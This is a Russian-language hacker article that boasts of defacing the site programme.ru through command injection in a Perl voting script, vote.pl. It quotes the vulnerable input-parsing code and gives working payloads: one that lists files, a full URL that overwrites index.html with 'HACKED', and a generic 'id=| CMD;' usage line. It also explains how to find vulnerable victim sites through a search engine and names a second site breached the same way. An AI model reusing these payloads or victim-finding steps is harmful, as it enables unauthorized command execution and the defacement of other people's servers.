Главная
Статьи
Чат
Форум
Гостевая
 


ВНИМАНИЕ:
Вся информация размещенная на этом сайте предназначена в целях ознакомления.
Администратор сайта не несет ответственность за использо- вание этой информации.



Как был взломан programme.ru

В новогоднюю ночь нарыл я интересный скрипт для голосования, под названием vote.pl. Заглянул в исходники. На первый взгляд маленький безобидный скрипт,но это только на первый взгляд :))) Меня заинтересовали строки:

@pairs = split(/&/, $bufer);
foreach $pair (@pairs)
{
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$VOTE{$name} = $value;
}
$filecnt="$VOTE{id}.cnt";
$filedata="$VOTE{id}.dat";
$filelog="$VOTE{id}.log";
$action="$VOTE{action}";
$oldlog="$VOTE{id}.old";

Никакой проверки на метасимволы. Далее, как и следовало ожидать, при $action eq.show. открывались эти файлы ну и т.д. Таким образом, подставив в id определённую строку, можно выполнять команды на сервере и любоваться на вывод )))) Например, если подставить в id строку .| ls ;. можно просмотреть список
файлов в дире. С помощью этого бага можно без проблем дефейснуть сайт.

Далее:
if ($ENV{'REQUEST_METHOD'} eq "POST")
{
read(STDIN, $bufer, $ENV{'CONTENT_LENGTH'});
}
else
{
$bufer=$ENV{'QUERY_STRING'};
}

Этот скрипт может принимать запросы GET и POST, что позволяет юзать эту дыру прямо вводя команды в Query_string как Unicode bug, что меня очень радует ))))
В поисках жертвы затруднений не было, достаточно было в Яндексе ввести "Script from Bullet" и тут же вываливался список потенциально уязвимых сайтов. Но каково же было удивление, когда мы обнаружили этот скрипт на сайте сейчас уже закрывшегося журнала "ПРОГРАММИСТ". В голову стукнула мысль, что админ такого журнала не дурак и не мог поставить на свой сайт этот скрипт, но всё оказалась замечательно (для нас).

http://programme.ru/cg-bin/vote/vote.pl?action=show&id=
|echo HACKED>index.html ;

"ПРОГРАММИСТ" висел хакнутым больше месяца, видимо уже тогда там всем все было пофигу.
Сейчас в сети появился обновлённый скрипт в котором этой баги уже нету.

P.S. Через эту же багу был взломан http://mp3players.ru./

Use: PATH_TO_SCR/vote.pl?action=show&id=| CMD;

Hosted by uCoz